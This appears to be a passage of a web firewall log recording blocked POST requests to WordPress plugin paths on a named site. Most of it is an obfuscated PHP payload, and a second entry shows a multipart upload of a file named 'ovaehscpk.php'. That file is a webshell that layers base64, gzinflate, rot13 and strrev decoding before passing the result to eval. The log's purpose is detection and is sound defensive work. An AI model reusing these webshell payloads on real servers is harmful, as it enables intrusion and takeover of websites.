21yhM0FvxC3lGpqhkJ72HaOwlfcZIFaBSxWIv7sx4sJd+walzCBcdNcuEZj3ElOjYhxhRCG2UinHbM8IHCzjftOo3KxXk1DnwnmePCUqt2+65k3xdZMOH1IV79Fpoeli09Jc+6Mc64iRi0iyZoHF72B3BzYhgYqyJ\/t2ygrT0A0tS4HDqkP8\/QxFUoqby+PW5+NezcJJAo2n8aJ4\/FjAuGNUV+\/TmB2b71peWmuBflRShQUiVsvcas5us9Abi68m49tlgoj6m23zRw8tc2+gmcsfrK987mnlN96cg1FQwujJDoZUYMB+KbSEPEcsNN3dsNvDm3MF8YMcbQwDYct1JfBSzqOaKOhBvePy8gd17LNzxjofeQX5ylGHohH1D3UkHTi90cRy0F+s3OpiG2k+Z1myTsrqqAAAoUmjIm4q\/qTeR+dDvRoGkhDndJEyy0e6iDDz2SQBF7D+JC9QkDCbKMe2tO5vKcud6l9s6+GeLaU9pFoC7hsgrByg0w1+dPl90bQAgEAHEpItp2MYBB+mulV\/M7FysaKEOOIl5eIyvw8vOZjVAyyST+jU5rtp1P0vdGc+\/hD3aDrK31hekc5M7CGX6mpNSBcDwXsulftE4ZmOyPB+OQ8ksGNrBs1ukFA1Dza2QDGzeDvMtLuUiVAV5QpkP1kUdMQ\/6KHc\/EguHzfPhokBACk8\/IxL19K6eWQtXZFRxL7FlrQVmALad0uHEzUS3VPuywZ5IVD1A7dIJ0MwL+zSbqVbUWAg3D4t9uiuKrpWhh9KPdRfkJjWfmgkQB33nhBdxUsqAuE8t+FE\/D8PUH42vfjAN6HDK1+EUwDmnq9ezjO7IjA45\/\/OQtZN5zRkozYKJpgss0fR47MsHvSd5snvpXamRQAAtqpn+ELmB4yr\/1GkQk6OwOwxrX3w9thAXlftNl5k\/a0SBaAiURzd\/zSgwHFNBzPcY21ipXgxTjpkT5RJyQZ95I2Zl4zhbSjLsEFIo0Jfm9FWONPH8amf\/C6Ed8w1IRinY\/nAan37UAWfZAYug26nZ43hrCA48OVlrgMOnW4BdOjdmSzjW0mI9uHYdFlONvWJPXJJ3r2l7P1Q1gSlnV\/p3VtfcsaZzNs+jepeaRpkqsJUAXwqiHenzqSjgHkVzYdwr8Q8ffaAUDuyiph7nBpPDufjAP0Wp4INMv18xJpE+ueWEzh8YxqQ\/RM6TBTCbanC9VnAe0FcQWIXw3s1ZQ90SQllVEr7q9dhnwnqEAtnoLm8Sp5mQmBUl\/uBP+a3rBUsZlh09R1Jo12joUpf0IprBc1+qcnM49khnMzbAkwzJIpk734Ob+yNORoLZbuyO9qNmtjzbaAoL+dYIJu4yn6Xo2HAjxEonfSmTebfTx3BiBk4XH\/Hp9xEDu9H2eCsrDN9OteCn34wEWcvohqebRi6FABZN4k07j3KDacP3iLeeUMR70jbKy+Q42vDbEXxV9H+Kb9l4QtmyxeWHLE+MKjhd2swYubcP0hQ6nz7HYgkrmxhSx9G1ZmWMTZGRLCDvpyu6zWL0X6jkd44cpGeoU+lR+tzvoUabsIDbXVQYd5pt6k2U4kXCUi9x32MBa9uuVduyl2ehQBAkCzCBszGTlhTsX27+EfdfKanXqy5R79AzylB43ojkpZI9jva5e3K5bOzQwr\/cvtAVceALwTPV+W181pYZBQlln6ycC7d2\/FkO420OFtqVDOQ6DAb4wva2JH05GoJWA73q+ju6qGXU7HIfi8vh2dECxDXSHlAnBEaYy7XJADwZDdObxpc\/9oOv6VgS2o7IfPKv4eGhQpGsuz2RlNd3k4DmyDAJJrqwTxS9kqVKGo8etVdxRjiJQRMplAuur6Yp3qFioNpEYFHnqfKcmXSamkmD7wNFd017OXwtapmvcCvzFhWa2CDB6s4QOnbEzKdzh3CepmFq6o1UEEH508sXH0iMvJChoiIsrgCpEVWzWBiBBLRP\/bWx8toXluOlCl9tC0ZB5qO2wIb39jPNFDBk24RZXFb6jN+9YO+kTICiPj6+MYwrcKldMVF3SryCOESmgIQR1ZUz69cPzevOVhtsbPYNNKNAtkWvS2Qs2CtA4KsNqJK32nrmTtm1t5aAh3eia23LAt8zOm6rbN+I4QeE9oS+9nryGA96GeQX7Gz15EIgfZ40yseKTn9pstDIMSw1ogyML2F\/DRPKeUzSWeH5Hw+0y5ZfkrcD5LN8PNrMe0EszzQuN3IGChufwAK\/nohalw3cySJQze7qJsRJY8FoxQVWrEpp2rLYMMANb5FBCOoDAAQcW3U8unx6tGXL6TFORhLg4PjeJI61bE5bZILJFmObUtwi0v05glvpAAIubtLmb02\/\/balNiSHr63HSE\/oH9nbAlvXIEaDQh6sJSL\/A1n7Oc1qHtO25X1\/DQ6WUXdrNgwHymxEdIemku7LmVYGDutQ0ZQt1qy1ia4dm3AxBYHAFwzMV5aO49TUQBy4vKjJy3Xf2WvYbVhLPcHp\/ZJUQBMd0w+wqycJYKL3vtWht1TLygAftJQv+eU4amReIoScnVTJx1b+XegoXp0uVsVopOKP4QUUjbeWF\/CeBpXy9yRmbJZ0AlM7t1aEqP10HN\/MDA9+3Mr9E\/gPkuINA4qj1qIH47XjcnUmDN29qOFfSkWiodDzThkWgt669PET2hbUvI0TadUnuMNLlzKvEIY9Lj4iKxUa4UAAFE2iBNnY8VTz1CDURV6qp9U09kGTssbdY7cSsMLxO2a+zlXwu2saMp6ilVZNLY7WujsSQLJLUnhcEgmJvZv7isOlRQAdXgjpJ7tJWcm5sCh6ZU0emKRm+WMx6yCtP4wqmpZhVnIAqmCBNyfLinZsk60t2sB1JpVPGuPO3OJecvK7irm0ohMNYHdu3A4JZ7h7llmEnIk82olaJDi89rVgw4eD3\/q1kVkIwIamglKmXYXQVcE5P+EsUCSYhvHXoREP+rgOQRbTyJyisarJ+eVik889SGPdzwT2n5OfRkExHvCqV1tawGHN38BufrWEzEQAsFEZh2U17HCz7VqO5u39McoLif82W9TSaA9zEcPEeNYz+tqA0bMiH6MhVyNYefMWbqHrmdK7zi81BbFTazKT4so66vNTuAHjxUBFnKgdStSTfx1zWN1uAVicAt2l\/ptb1MsYykEXJsHzQO7Ucn04Gy1RvbEBb2PzXV6GYpWZCLy2RWSK9czbYJdWp27f0A0ZKbeDUFpEhC5fCEn6AM8dSsjDcep4YT4B37rrZIOwXsdenD9uc1zFYdBbWP2qR3onu2BEXkhbxDFG4iZjGRV57mv0dU9+D3TslaEsfM5xwT8z5utKgNhsM9+5p0ZvV6OlKE3kn1RPZ0XL81L3C6rwzv2l\/BR02vjtudFhNSADvzSVR4l34rCjn0JrKH1qSR9ZgUXA8w8yMURWNz+7FRXZaJz8CzTx8OWgYp+v2RBPDHi4KbklGZBFTgCexVraF7toQePkk9BJE22YpT8AMYMae9id4Yii+6lrAdJTDhJtJfZYIRNdGIWgbV7qtpJd5Uf1cGg2PImPorb6yNpjfb4VUAIVJGiL+M4LNaTkipIKmYXHHpNyytxnD3Jm4lVtbECF4Q\/DvqLVWlH+kuQqShqG12eFepT8dqhfpqU+W1mJYze81hjcuO+DQOqlVLJRTFBcpkZCOwSZsLHrtPZGFLIw8PUp0I\/Lu5TkJXPXG+qlmoslNUhKe+6Jw1ht8qn7bchzaWJSbsJYpM81\/qm0RsT3MlJvhUHwlqmCiFHN2tO9cNqtAx9Xkcwh0jq+MVmSbCcU8Zk9zyLvoATObYdHF\/DgxJ\/eFyIz\/0JjOWs8unzK3rclrurt7FKgZvZtzd+ucodnp6aKn9GOYPwLpGDzmUX5ugF2UEprQC7adofUg\/lCS0A4BUnCH2wMM8FSZJO1pu\/\/kWKR9XCy9ObEAw3xMBez0y7RNe2OiDYxFg6tkSfHf+8tleh301ODIWpOXiArmKbfaiF35WhJYhJjyzxuzvgvWxhJstaS\/538EiesWoc\/rfpfrhUVZdXicVlZAIRMDRy7FC0m153LdmlsU82mxnKBBocVkbwFD4nWCWmUTbIH5aJWAWJvZGxYKk5vUhmEvb6qBolkOAqEy0g0n6rUQLX6WwWAGBXIKHAGKijuQxD3Ko\/TmE39Kfu5PYOfcQmh6PgndFC+0KP1BSLkHN9bBTxux26NSMEeBr4IC4AsGArUq4FPnN8eUNjxUIzWfD4JC+zPmEKdZy6Z66hBFGNZaOqmO+Fb7njWS40pGq5ABLoAxLhucR7AW2p686\/DwDU0kKny6YTh86B4Cff\/DzwmR4FqaQNWhNbRfgttnazCADAFFvNP2YEM3fgDZpoMW3qqxiQz6c\/KQZOZUCtSY9tqR9d3mjGVfDFT\/6CujuWYS3kT5KxTLuEQnTISndgUvtj7jPnGN9GSI\/UUejCn3UlX8XtqTD94HUpk1yaCQ06PqktPBufZ4xAA7y4kpidj2yqTRii8FXarkABeIrL57u5y4YOLCIIxQwmTNIbrI312gAmMQkrrNH07DVzli1fFlrydL88TWReazQCvcLIwD8+gGeLjf1B4FBveL8HnMvrtHFvGPRuRu1kXx5FerXita3KQSr+5jo1erQMNc+aoUOLns6uX0p3utnUIPWa+oFgUuhgD0v6MzEvpqzXtdD3GtP76KUY3cIr8VWl\/dgAnXTbiF9od7n6zTAlGQQbnsNmYWfQ0nVsmpm\/XYpFbf9sCaifpO1ri37HQt5yzfGn3uAvVM\/TUgpAehjcgGF+zJvK1P0FvrW9l7AqMIQlH147BSCldF2njl6E5ebEeuxTo6jtFjuPJu0SePj0+kQ94QuEY7izA9ofmxVnQeZlFjK9ggQElqDVOYxsEST\/hK5OIPq3MD8CHO\/WhQcY+UArA59on\/4psetKg\/OwmlfVcRMFoAjNi9xePjFfTSkyQshU057AhusIA79x9Pj52WY8Zn7FEQDYa9I8zvF+WDu+jTlOydFgw\/Xmqic8oCcBdXspH1zhCnM0pTqvLTuHieQ8kK9zPy6YRfQamhwFppmHlR9MPnKtdhnNE2mIHzo90dstZAeXAB\/DL2tmU7PHa9ey4jLtb\/dzytOCb85jxIBQcaFG2c5i4PThfaX81cuY8bInaaUF7VEKiyHjzuoRR\/aRso3cLCdAV2j5HgpTHf9rvWtu\/TzITTms4c0593eidMPiqSnk3+kzkmGMu6eA2iRtPO+4lP9YaVI4toOMmcP8aGOphonqpAZEP1n3d7t\/9yLmBvlyQTrdEsI2QlxXkWtCvSVSen9zs4aiWLilWkuiHHYYDTLRJptW\/rZg2\/GRYSddEZk2jJU4OABgqqxHv+eGt663NQXW3W4aThOxC0lQiiGITESnNyAxpZTtEWPRejRCz57HAMraGHd15R35OZsoSeOyNRZwsJs7vFSp4RGVF+xOAQjmhv77PpIKXfTUIriuILUy5A2DN9ykAGj57sXFTppILi10s2U57ZGXyXc2IcptzWNgKZb65hH+KbV4cqeJHm0e7djm37Z83AJnYOoEvUWKgTtwfy+TlWkJjVqOQ4zLW8h5WEW44674LWuceuiMUOeXORF9Le7Z5GtiNb95iQrkQR27E9T3bVAZqfHMZSZhWo0cTXlLuDoukRfi60YIfX1Uhu4Tt4yKvLRu8hBKmw4AMCm7O4iGdSPr9xI3Hi62K+2ytQikhqPv6W1jo2lweDo5mz6hTrTz3L\/Qbqjv8rHGRQYiqG15IHO0vjQuNtQ1Ez5PdUd53ltNJ5Zxx6mOY0UgHD8pV0mMyaRYoELWlp1unR+gXduPaX\/OvUsjRln\/uEEOn7r7DvMaBwtx3Ey2uddXBAA6FMGnWod3STMxBoxhFyZ3kMVxuBqqI7jCrTBgG5yVjKyqkiH452j9FmrCx43Y\/KuBpzpKBIt8jcfF2GrEThQcltG2W2lJ1aQ+Bdl6vWThGoWP1W2wbRdIRnTShJZTYAqGTmIGLXcmLEhoDmtsw\/ICQUHzzHHbzyJ0ZwmH3sMlOVGkGEs4kvmRv52zCbTp7kwyVtzC60\/WoNno6VEZpTgKPHHOQtPGC7U0Nac\/b6EMIkIuvvsO7\/1KsMorYECoGciEB\/2SdIe9jXuqQConS++Tj\/VazavHkKQGbSMmYgGA9Fop+\/AHr9lJkVr4SMZ0cwbKHZgJAz2NRw\/42d\/cs\/pjnQmiGs6LrhAE3YeMbCEHSPwMv7GEflWQXafShZXdvOg67GhExuBdLDRKWsBuzqdBFxS4I8QnIpVkaypKZBQifrUxcCRp0ivW6iaYbbTGhvsfVkPxYz2XUQpyHao3JL8Y9y8LYx4UxGwFh+7HPVK6JtfhaYMpuPEwjB7cDxeU8NRhtzOeWi4T2BzLDaOIcGFZv0jZuqkl2x\/fxruLNkQ5Ek6iieCrS7p8gbHe68PtS29YNMIAPZt4oJcw6t9cAzWd0NKjQGsNoGiVVjJEup6DjS54KtLCD9+tRohXuBt8yTG1a9D\/qn4TFKcA0BxQkSk4GFd6VylNynildjaxnXdGdPBau\/y+Kbm4w0VwWUFdZd18vtnZUe2M8mvH0kXUfUcmR1wB0rxp\/tLSF3lJ0+N8uZUrNqlAhhGWym\/12xfTDy5FWysSv7xgj4SRGsHZdCBHNyoY9+hQmPEq0jmmf2gfr6xvPVpYw+vDJ40gDNRs5OoZcUswMSVwnxZcgAgXJIVCuJ9DFDoNbd1HsubDVkJXthQL0HIa7offN2c+V62xy11L9TWeZnLJ\/ENED\/dhq6R2K4XIC9rcuDlEh84F8+pmo0O963+LZFWmDQCgiyd6aJBpBY+hoxfj9N8ck8NEnpdYv4BinT\/4dapyt80itMPKsyWgiaLZtMtVw+7v\/0ghHZonUB8hdNCgYoZXV9R+i4lSpoyGZ81\/0YYtP23DHXWMUK4ETR+AmCl+Tnqy703lO+ARC2HgZX3A2fJRm7FqvpbTkVFKpWHASmNb8txcbbv7RvxzWrS3RlQ3Jl7G3gcjuVtIY6ExBY7IF7m1eH5MAQiDNtgbmmYldAnXRn9pRam8Fmv05uvm0TOWZ78N5e39ue7PSUvQnDPbjY1erjcBwqO6Lvn6FV+2cGC1K14GzjGN2wdNhtnORZYkBtTvjmkBLkOICJ65q3Jzghzc9T34YD6Ip3ykrZP1A0EAnTdG7UH5HbTev2lM1g7Z7evPKnjMeihwmfPFx4BknbaO3eQRt6XOtF5yqYWs8ETMLUtQ3k7IPjDTlQT\/A+R95eQc03NqGCioIUgkrxam+sKb87D0nv8hAFCoVycmLVriQr0vp9xYRl7Pk0C4YVN7KqH0w+r3r6JEsuuXXmuOErw4TGJUhOjJh7OJGPs7\/Z9hd4KOAuN1AMAPj+M5FlfG5i2ncKfK+nlOnU8J4\/lImKlPPFiWC2yHXpw7W4Uob4fKd4X9hbMov1IaJob8FfQR+mPobE9JNftd1CdB7uTbnRh843ShPyt\/cN1gFSfoK2ddG+43fGoFfBQ1Pt9\/Sjh\/QyVCsh8tauRjTxGvbSqvh4Csqm22vKv9\/DbO\/kW8Cnx085U6FCbuZhDgbf48frSdpWtiqY4cpR\/LaOPeNIMjgU3aZfL+OGx8KLvbupI2gVqqcX+kCR\/sRcr7aEbyIV5\/m0wv9WtEY4rQOe85Q6uq+cYvcAqZTKmR2tiHQUXPdvX+ovrJxXPG6SZ21r4ommRIJcnVIgNvxyCffVe7DJZhRRRpEdRBzVKTfbyJMNvrMF32FRwkQoC+ue5Vct4vv7mUblXOGwDwiy\/v5sLOSN+SzjoyFmpdFi\/ZlaLvqYtnPRHXJHR5DFByxo3XhATW8QY5fPMtbElWIO3ar0UtvYecz1pku50Dqw+958hOsWUI97F666cA2PsjMiVY82Eo\/zFlmmjnTxoFs8fWZjkQR6F\/aX1ssDMaqYhgqlcIqlNnuvxjJN5ZdT2ouBN9of5ZYmpsG868Q34KI4Glq3nSs0fVHvo0ThjIWsfAoWtYWI1yMrCALerBube4Cdax2eC7HjDsIpvfkQgz4i+M\/rZlvxlZZ6fF2fA5cSdCSelDDADoF\/OaNfyiL5XUj+07eCoL+dJ1frw\/og7T9plGRO80kOEyw\/ODtz3E8LV4M0cQHGsLQlFG\/iqbg8LKGawIeavC8Jti17PJMJvytToMURFvbPDjI914mUGyPI7yNaWlRVrI+SxK59qaEq657\/9Nyx45A3\/EsOF0fkTiCQmDWYjURyJmvV8NMq3ha5ufSZx+JG9BHCkSl5\/kaYEYyF0ZizkvLipFIG6I5hisObN3cuKEurYh3AqLopLk1nscLHcp7YHRxisTAluB3ML\/RIPCOikdeuMfX1ahT2KHkdiQq+\/3+zkxazXaFz2nSR1eS6M1mT5BEx\/xUotabuQMBVvMCACQGeHY6lCyIUZG85yesIO2m3gsffRs6wnwbmZT0vPRu6t0CJ8AQtj7k95obAQlsmDsGDqio+4pI0y1\/DUWbIBLGixqX5kHFRpB1rl\/Fc23SykHJ7CyWpeLGrkkE83SFXiZ10J1PQhNNAQDq9+ioXY\/Hso5E6FYeIdBLrtFf6016EKi60XvT7+kwjPQETkaBMGKx5tzx4VWEEHUm+ek4mxOAWAEABCAsOEoAN5RTbfSHkMvvdeS69C1628sJqLx4kDPREHk2teaVxIqwzGX72ea4Jx0A247p1ZPSN3WXmOBekQdZKqW2C\/iDVNcFkSe2d8Zf9D1DRBpiiJBZP5U+flrIjWBRZ2jEzBSU5OYsoVeaYJpfmuvoZP2StiLBL57G6PVNcSX8U3sZh2LFOLAyPyRJK2zciUx2mWN8U3TSLXXzkpkC6FXO2NwdovXk+7\/3J97Vtzw9WA8C+V1gDahLd21CqvpeS+Em9wpb2yFTP2y8IUz1VTZlz6rz+bCW5OudqpryZ0sltjWt5DTF+7+OpN++QU3unuCTqr5fkSnKVs9LwvZqtoX2sjCjdLja0usRyvb4wsxDDGT8Scwoj\/1XG3klbn5Q5rZVZHJnXVzcGE7FOGHwX1BECFE7vwyrGOviyzOuN9XDpRN2lFfywle+83oneRB1C7RsFkLKWsEkDOYN3PDFVzlOJdTiLdVmuNrJaxRkhvzBxMtmRjhT\/r7Rhvx8qctNKab+1ZQNJ0xgqPvajnITCaYmk5Cx8DNnJcnsWq3h5c\/N2wcrTbcrJxP6TbyeWod0QNR\/Z\/54SHijge95vJWRTbMxTBLKrw38qqrlcxgUDhPiCPaNNPQncxx4lkazu7DhYZKFRZqsCPgPwEAcLdbDXVZxgL\/OKnqEbt+pXGfD5+JgIeRYuZoliX5VqthlSh9G0ECDbgAfbWk5muIyctpjoV2JRm7leY+5rhBMKwKqNElj8AQ42USpsG7vm\/XHNrVTfxNKv8KWpiveDh8lnHk1gyJVnTBtEJ3GxIKgPtkV2hmdQDDSRrvJ21+0sxQZhU5C86OKyTRI9vTzICDIYhyfxNJshQHymnro\/RA2NhEbIFHlvkpxMGM1OO41eR9iz8x5V3fPQ7BLdsMgeIOQwC\/sMxYhxBrviZlCqmOacqa3GPLhl2aX3\/XPocSSgCJCLEnHUzczSbTWfjfX8AB9jTOPoYLcS1CRz2DDXVJKsNV9vWPAjsSMwjW0YZ+PQiIZzl4T506V2YY7E3qFbOaNj1c3eJEoW5CA03TqFCId9zg7hVls7LyXmgN31SUjNPg7VZb\/7AooO9CMY8gF7E3DcNHKXetNLjTdLr7DxUkAEB43bgLdCUiW\/Seq+971OjrDESD9aXqJsy6XFOmV9VRa7rWbAAnOxct4FIACJcmyacJ2eBNZenMpd+uy5dBUomsFzmyVNTl+mi\/eD6pmaAWmUPOr0vPCunCAqJdoCmRwBOKOlWJRa0sVcxYAfkhloD\/52w\/FPv8L0+DuMPpltdM4QYkW0SbksNicX+3pBu\/7EF+OzlJRSKQwxtXSuR0FUFQwoQGlRvVBbYe5PKAhIGC4hVK+GtvFxp4OjVDnwgli59QB5tRbPQjS53Y997YKO+27Q\/7i5xWeV0aMnESNfbB7YE\/uEe7KABCbWgyYbpKDH1LNKATHyg0cx+uJ0ua1EO6jNaPw3hS542CrvlZzXKsB88fZMGidOX0l0XHht8rITlLQJSpoPuVnM0+cNNHR73MVBwwp9k6qpXhVcmdYkl4tmFAv4LWv3zzb+dGnLYsxAn58\/PaLjiu4gW6lTEoAFebIT7uO7YBxC\/JVaADeQVJOtJWd\/7+LO8G5jwSWG7cDebL264fkCJ8Pxcc9a9G6HRTozCJq+PzQD3Zjo9mD+1t5Wn9FCH6\/emae1ZkMUGGTzikQa1HH8Lv0+xXuGAF00YYMX0JKk5Hawu8xrcwuUJtGXXals2\/TT+PnBLtbDpeVPfabfg2r3rO3ytzDEt0ma77shM7HEukynf0A4t\/apDpnFzr5ecKx0ES5aVJKgBHSfsoXuxeVTUGFboa5R302JmElfl3T2hlK2C0mzlgdOuE9BZGaNqkiobgeXKJJ1twDUVAg4pf3ctJpRMylKfbyWYQHnHW2\/NLFAbQ0IrGGVr3EQhNunMnrv7wJaYACBig8vBDZFlWVHzuR2pCbSItn+4H2ZEm4FIAyD+CZr5UIvD9eO3V7DY\/iWOMNkovfh5frdljq5OzsIP6jEPab94ZCdwNDAEAmme87y\/GT\/tK1HRpuJ4Tp2lFrW3p3mzRSE8YCmbGL4NXfo+l6+3MpZAK2m02SvvATuXzFICLM61iG70bD824vLuXT6elMogS6HGG6z9b86Q7g5q4Lr9\/IEMVsOjpk4BhyDjU+6uuXpfk6nOrrETJs468qfdjNL6TB3V4rX0ypxaZmOvcjeCG8fjyHOQCACkGkJDut321dAw5foKh\/kaFaUWqMRF7rIvCXyJAJEABPwUmmwzJkeO5XrCDyOdj3NBex4iaED6bhoPYFGzF3voahtrLrho8zMh2\/UIm6aFIrJSVFCVT+OhHkF12eiGohKNvxz3vuID82Z+JlUn33znZEEM531Jgmp3JQ7zVhfYVLXThGkCLGBLtlZR3EIGPRxucEfTMdx\/VEgStDQqcUzvQSBr2Emo032xS6Ota1WPOEY0pAKJ6fr3Tzlge27k\/08MYUtIHIRRwjzdV62mbJeIfv3QwYn8M7Xa2dieeEMAyklXUv32U2pC4Q0zp+\/htwrcg7Uq372hsZV5g\/260rUx573wxwmfCC6IAqJDF4rK+i52Ok\/TzsMu1WYMBR\/lnblDqfHiSlh65mNSl8P7+JcbUv0syFKCVsJbiVyVL2bbWt+dMTG087w8B8XJG6z\/t06k9gR0COSs6rK1jmNRuggMAiOytv+4IsNfQsIcFSLLebfggykmtXz1yryqQw1ZMoYoP47+mt5ENTGpR04qIhsrjdeqgX\/Q45ZKS7\/MOVhAv0o8WdpeaINkqzZ86pIRWKcV6TN4rBuAUR6PUVvs8C4wYC+yRBTQRUgDGjNNNhoEnybrA+uNOZNC5yJ7ivPhiBzqXZ\/LnXCrtP1uRRN9PmwJmN\/fxka\/4TJDcyw8aXYrCiCKn63L6eAtJwY2VQNypSses8v\/Ii\/nIk2D3jSGXlN9yTdaRAp0PlCDpC5ucBy9x2um9eIA7gcIQOsckBx5SBcUO\/zaDAa2eXgAnVYDhn68GYom4X\/DMbrGFDcof\/QV\/0RpB\/BNeZX4VfA\/2fItbxEYhhwokwQMcn77\/hllhVmajvWdDtgxj\/bFMk7rHTvp6kaRu0USubtlu0tRh0v5b3yz3BiF\/wAtNB5OJtd\/IPCZmaWETFs8WcUOJCcFXrKdWSgP8nfS65rc47MdqpzmskvRtqu0Pt4jUo1NuGpJKlpTInbW6KAKzUbmLXJLTS5lfLrALhAvO5kQfPSYmNMwrV8tx7OzJFAA64wrfMQAAwoqOxCTh2TDl1F8nC44yWulXY0NJAsv0ANN7KbvsNL6b7FlkcRF3RNLlzSuLbINweyPUS4rr+ih\/HAUgorxxDLULm8eSWxe5QpHpwNa5ndLS85mvobD0HFZeuKQbNGcHq3bhetMCFPt7qX\/1\/aceHb6j3kH20mLP1EtchQ753I5d5PFsUNhENYT76jDBfNopHK6sFwDQsmaCm9tMzdyxKMBWmnxd\/seaAS1Ey6v807S1QNfODoJqGkHlCEVfwF12y5A1l9hl+Q9y0mjCu6vrdZ6A\/oYtkaV6aNoFvz2RKM3ecWYX5ZbvYeoP\/LKveNfFEO8h2jQ\/qLLm5bovo\/p5kaomriH61\/7JfOISU98594IPEeTDP2wWqsbPZ7eq3rxiTxEOb+lht+FIthIJIbinmldysslxSt7xFk+HwkUmXUnryA6UupjXQbUdDXuKAEDbx\/vcpOxve80rxEA+CoATH\/Ur6\/XikiNjmJsypY4TygkpQ3vqhT+o3XCGiINptSh6Wqw89Yrh1I3CYOEeR+GZMSed\/I6u7tv7bRQG\/1HIaSOhN\/Bcb4GTPHFKbedzNHD25q26RUOfYbPWV94YZdLuqaaLajFKtuCufEkuuZTwb1q0AhYqKvIbw9visheWSaAXfKQGm68Pbmn2HxLvCMleMqXCufLwqS+3nyPX2nCBc5kUgPCEghzF2xRekXqy9VLtNBkPh+uJTO9KuVYP\/nt7KJ+p9yMPS6WvJYE7Pag1OH45svP9Ni+XyRfNI74IP0tw\/SVktBB2lk5irZaZNQT9g0ZU3tHTK8qfrPxyq4pmCj5RcLs+5rMhj9e18FA+p6wrEguqTQdohVUnHtGBM+SLlgl8IlScfo02POUdQrwq92C0808qUQ3hvJCMwpzifygAXTe2\/LJuGuWR2JB8hat1hB+TPkfUC3fhXtX83xEx2YZEKgcr4tHhyfab0WjK+E+8OXLz41c7LZ0w2eI3TBLpj73+yRKvyTpffT9XNDm8v6MOY79Vd25+aXDmi9Fdn5B8f0W+\/y6Eobt+\/6b+\/Pqevf8WWHn9xqpK6Oq4SH7UWTzm1SH6qWOAsHfz4feSxKSeXgiRFcU1Y9CNkd1vpuVn4MoUkgkAnBupZtLBAP3jQEUTUPzXGtv\/XlEkpKWA8AH2AfWhoHRyNPI0tnYi5CP8P5bQeKgoctaXKf6GTf2NMHRzdnLkoVJWVJcQFtJX1tPSktdXpnQxdDM3NTJ2MtU3NTI1dSL8Xw=='))))); ?>\r\n--0a64d1997bdb2797b0e36ad64625c1e2--\r\n"]
["2026-05-26 16:55:55","170.205.30.68","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=e396968eb5bfd87b4163f31682b073fc\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\ncontent-length:20152\nconnection:keep-alive\naccept:*\/*\n\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--e396968eb5bfd87b4163f31682b073fc\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovaehscpk.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br> '; \/*** ecf18c7da6efc3961853a42ff883eaa9e74fb0c2 **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); eval($Shgrt($sJhXG($LNuWx($DesQW('rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf\/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un\/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy\/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2\/k6cLDxGlvpPVPy\/tfcP9zH4SGRm7mDoYWzjy6HP\/WO9+\/oHl02f\/N+V91fHk4OIXkvGT1Sf9J6D+UZPu\/ZTR0s2e2dnKlpDI3dKOk\/RvByvg\/iP3fo\/4JTPm3W3sLM75\/2v+owPL\/nO5N9S\/PPzT+lwa+vjx\/Ecz+2YgvD\/M\/SvDRuP3t0oGUj\/4fXm8nM0+nf9j\/aVIx8vG5kVI6u\/FQ2ZHS6jL\/Oy0PBztjPoe\/tP\/TR+tGSvuX0l+i\/6Jm9xfGkJT3L4yTp5urFQ\/jX0QeXaZ\/0\/wfFXmo\/plt6OT595bP8G\/2vx79pwT\/6sn7r1T\/nY2ZuZmbtZP+PwOI\/jKH+Q9FOekIae3+gx4FEJDKY6oz5RPo9x7TEIxzmHJQF5EAQlPBdb\/ACml28yNWVAupROytgxHBLW5lmRtN9QObEYxJBjMuT+fYmwki3MIXbntmPwOX4DmKkmZaKxrwKd+LALK3lEDxn3PsMm8yvXXiX1RdPKQPsQTekOBhGfnVwjCqiZJfKl6rpwKYyuK1XGWfkrYW4g2DAtLKtSshZXDibqlqOysE5klrY2Rga3iTyd5Riyw\/lH7Jy3PKmUyU6DKa3eQrHgtwFFS\/JPpWUgCK5LQLxyL064JvM96+k\/SHN0z6rMV6lcSznEbqyoIjnikbF3XTN7tV1m1q7GMOmEssB7ovA8oZ4wNiCCaWrh0cklvESic4dHJTmMNLjXZEBZfyTgu2+N9TRuJ9HEXoqdZ+HVJ6U0VP\/GQUoMc2s5PdYKUt0M+gAKTuIFhcZyEgkKG0oqflzadOXPYgWfXGTT+o0L08GcuZxKCP8SEdkpXbDNeb4GWQiu+pNXfiW3ecKPqqHB2WLOO7bPK2Ma1HtnyoE585HCjGxHYJW0TAJ29cM+s+bgihob4tCA1bL9raEY8i4E\/u7jo33yLbHvbfxBoQ1b6FxE8DAONGAofCEMi1sk\/PZ41E643oqZnPQ83i7m6GXYnaZx+Fxs+YjWQocaT8yGTShFEHBrpBdyUNFkLBZr2euK8NTsjss1Igq7jO3ECQkC1v946w\/H04ZDV4RB+4fx7Xno+r+2Xuzdl+92HRBudMPHdyT+iX7JWnDUrr